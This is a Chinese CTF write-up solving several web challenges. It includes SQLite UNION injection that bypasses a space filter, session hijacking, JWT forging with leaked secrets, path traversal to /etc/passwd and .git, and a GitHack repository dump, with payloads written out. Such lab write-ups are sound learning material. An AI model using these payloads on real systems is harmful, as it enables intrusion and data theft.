Campus One(复现)
进入网站,大致浏览了一下,没有发现特殊接口或数据,且网站使用 session 进行身份验证,因此,我们的目标是获取 admin 的 session_id
没什么想法了,先尝试获取一下全局对象 window 的值,发现有接口泄露

尝试访问接口,发现拒绝返回

但是这个 v2 很让人在意。我们尝试访问一下 v1 版本

成功获得了 admin 的 session_id。然后以 admin 身份登入,访问 admin 面板(访问 /admin 接口)
来到 System Setting 页面,发现了出题人的提示

翻译一下大概是
安全配置存储
敏感配置密钥已迁移至加密数据库表中,以增强安全性。
存储位置
campus.db → secrets 表注意:flag 现已安全存储在数据库中。请使用订单搜索功能查询系统数据。这个提示应该是想让我们打 SQL 注入。前往 Orders 页面,尝试进行 SQL 注入。简单测试后,发现都不行……
hyw?检查了一下请求头后发现,网站又给我的 session_id 改回了 guest……
再次改为 admin 的 session_id 后,经过简单测试,发现网站过滤了空格,可以使用多行注释符 /**/ 进行绕过,同时网站有回显,因此尝试联合注入
先尝试注入
1'UNION/**/SELECT/**/1,2,3,4,5--+发现有 5 个回显位。再次尝试从 information_schema.columns 表中查询列信息,网站返回表不存在,因此判断不是 MySQL,大胆猜测一下是 SQLite,传入
1'/**/UNION/**/SELECT/**/name,sql,1,2,3/**/FROM/**/sqlite_master--+发现了 secrets 表的列信息
{ "order_id": "secrets", "customer_email": "CREATE TABLE secrets ( id INTEGER PRIMARY KEY AUTOINCREMENT, key TEXT NOT NULL, value TEXT NOT NULL )", "item": 1, "status": 2, "amount": 3}于是注入
1'UNION/**/SELECT/**/id,key,value,4,5/**/FROM/**/secrets--+成功获得 flag
Commentary(复现)
很遗憾,这题没有给环境,因此无法复现了
官方 wp 中给出的解法是:
比赛平台使用的是反向代理,因此题目说并非仅仅访问 ctf.rusec.club 的含义是用 IP 地址访问网站由此获得 nginx 的页面,在这个页面的注释中可以看到 flag
MissInput(先鸽)
web + binary 的题,对于现在的我来说有点难了……
MoleInTheWall(复现)
右上角有一个 Staff Partol,一看就是解题的关键,打开后要求输入一个 Token。没啥想法,抓个包看看

请求头里面有一个提示:
legacy config mounted from /debug从 /debug 挂载的旧版配置行,那尝试一下访问 /debug/config 接口,返回 404。有点问题,再看看有没有其他提示。没找到,看一下 wp……
行,原来是要访问 /debug/config/security.json 文件,这个真猜不到……
{ "audience": null, "issuer": null, "jwt": { "algorithm": "HS256", "required_claims": { "department": "security", "role": "nightguard", "shift": "night" } }, "notes": "JWT secret was scooped at runtime - Mike Schmidt"}又有提示,翻译一下是 JWT 密钥在运行时被泄露了 —— Mike Schmidt,可能提示我们和 .env 有关,那就访问一下试试。访问 /debug/config/.env 文件,返回
{ "JWT_SECRET": "g0ld3n_fr3ddy_w1ll_a1ways_b3_w@tch1ng_y0u"}拿到了密钥,现在就去生成一下 token

在网站中传入 token,下载得到了一个 myscripts.zip 文件,解压后得到了几个文件,其中比较重要的有
"Display.InputDialog Title: $'''Afton Robotics - Maintenance Mode''' Message: $'''Enter Technician Clearance Code:''' InputType: Display.InputType.Password DefaultValue: $'''' IsTopMost: True UserInput=> AuthCode
Display.ShowMessage Message: $'''Initializing animatronic subsystem... Firmware check in progress.''' Icon: Display.Icon.Information Buttons: Display.Buttons.OK IsTopMost: True
System.RunDosCommand Command: $'''start https://youtu.be/Blv9qVYlioY?si=wvpDtlWkkbvdjbBm'''
File.ReadTextFromFile File: $'''%CD%\\logs\\session.log''' Encoding: File.Encoding.UTF8 Contents=> EncryptedText
SET FinalVar TO ''
FOR Index FROM 0 TO Length(EncryptedText) - 1 STEP 1
Text: EncryptedText StartIndex: Index Length: 1 Subtext=> Char
ConvertTextToNumber Text: Char Number=> Ascii
SET DecodedAscii TO Ascii - 1
GetCharacterFromAsciiCode AsciiCode: DecodedAscii Character=> DecodedChar
SET FinalVar TO FinalVar + DecodedChar END
IF AuthCode = FinalVar THEN XML.ReadFromFile File: $'''%CD%\\config\\settings.xml''' XmlDocument=> XmlConfig
XML.GetElementValue XmlDocument: XmlConfig XPath: $'''//root/network/path''' Value=> ApiPath
SET Body TO $'''{ \"input\": \"%FinalVar%\" }'''
Web.InvokeWebServicePost Url: $'''http://girlypies.rusec.ctf%ApiPath%''' RequestBody: Body ELSE Display.ShowMessage Message: $'''CRITICAL ERROR: Springlocks Engaged.''' Icon: Display.Icon.Error Buttons: Display.Buttons.OK END
System.RunDosCommand Command: $'''start sounds\\startup_jingle.wav'''
Display.ShowMessage Message: $'''Animatronic ANIM-04 is online. Stage-ready and awaiting guests.''' Icon: Display.Icon.Warning Buttons: Display.Buttons.OK IsTopMost: True"这里面有一段伪代码逻辑,向 config/settings.xml 文件中 Xpath 对应的内容的接口传入一段内容,内容由 logs/session.log 中的内容依次左移一个 ASCII 码得到,并且要以 json 格式传入 {"input": "得到的内容"}
先写一个 python 脚本得到内容
s = "u$bu_qvsqm4_hvz"
result = ""for i in s: result += chr(ord(i)-1)
print(result)向 /api/run-flow 接口传入内容

hyw?又去看了 wp,发现下划线不执行左移一位的操作……无语了,完全看不出来要这样操作。算了,再改一下 python 脚本
s = "u$bu_qvsqm4_hvz"
result = ""for i in s: if i == '_': result += i continue result += chr(ord(i)-1)
print(result)再次向 /api/run-flow 传入 {"input":"t#at_purpl3_guy"},成功获得 flag
SweIntern(复现)
一个简单的 JWT 的生成器,先看看 API Docs

发现了文件读取,那就尝试一下有没有任意文件读取。传入 ../../../../etc/passwd,成功获取了一个文件。再传入 /etc/passwd,也能成功获得文件,说明存在任意文件读取,而且目录的拼接也有漏洞,可以从根目录直接读
先大胆尝试读 /flag,回显
File not found or access denied.emmm……再去找找有没有其他线索。发现 System Information 接口,里面有很多信息,其中比较重要的是
Deployment: Automated via Git-Hooks
# System Build ManifestBUILD_ID: R1KUVKH3LAST_STABLE_COMMIT: u3c83hcm... (Added operational status!)ENVIRONMENT: Production那就有可能存在 git 泄露,尝试用刚刚任意读文件的接口读取一下 .git 库。传入 ../.git/HEAD,没读到……又随便读了一点文件,读到了 app.py
from flask import Flask, request, render_template, send_fileimport jwtimport datetimeimport os# commment for testingapp = Flask(__name__)app.config['SECRET_KEY'] = 'f0und_my_k3y_1_gu3$$'
@app.route('/')def index(): return render_template('index.html')
@app.route('/generate', methods=['POST'])def generate(): username = request.form.get('username', 'guest') payload = { 'user': username, 'iat': datetime.datetime.utcnow(), 'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30), 'role': 'standard_user' } token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm="HS256") return render_template('index.html', token=token)
@app.route('/view')def view():
page = request.args.get('page') if not page: return "Missing 'page' parameter", 400 base_dir = os.path.dirname(os.path.abspath(__file__)) target_path = os.path.abspath(os.path.join(base_dir, 'static', page))
try: file_path = os.path.join('static', page) return send_file(file_path) except Exception: return "File not found or access denied.", 404
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)和我们想象中的也差不多……没线索了,看 wp。wp 里面说读 ../.git/config 可以读到,但是我读不到,hyw?进 Docker 里面看了看环境,有问题,它把 .git 变成了 dot_git……
重新命名一下,再去读一下 ../.git/config,成功获得一个文件
接下来就用 GitHack 把整个库拉下来
python2 GitHack.py http://127.0.0.1:4567/view?page=../.git/然后 git log

发现 flag,直接 git show

成功获得 flag
后续去问了当时做了这一题的学长,学长说这一题远程和 Docker 的环境很不一样,远程的 .git 中有悬空对象,只使用 GitHack 是没办法下完整的;而如果只使用 GitDumper,也下载不到完整的 git 结构,因此用不了 git 命令。最简单的解决方法是结合一下这两个工具,下载到完整的 .git 库,从而获得 flag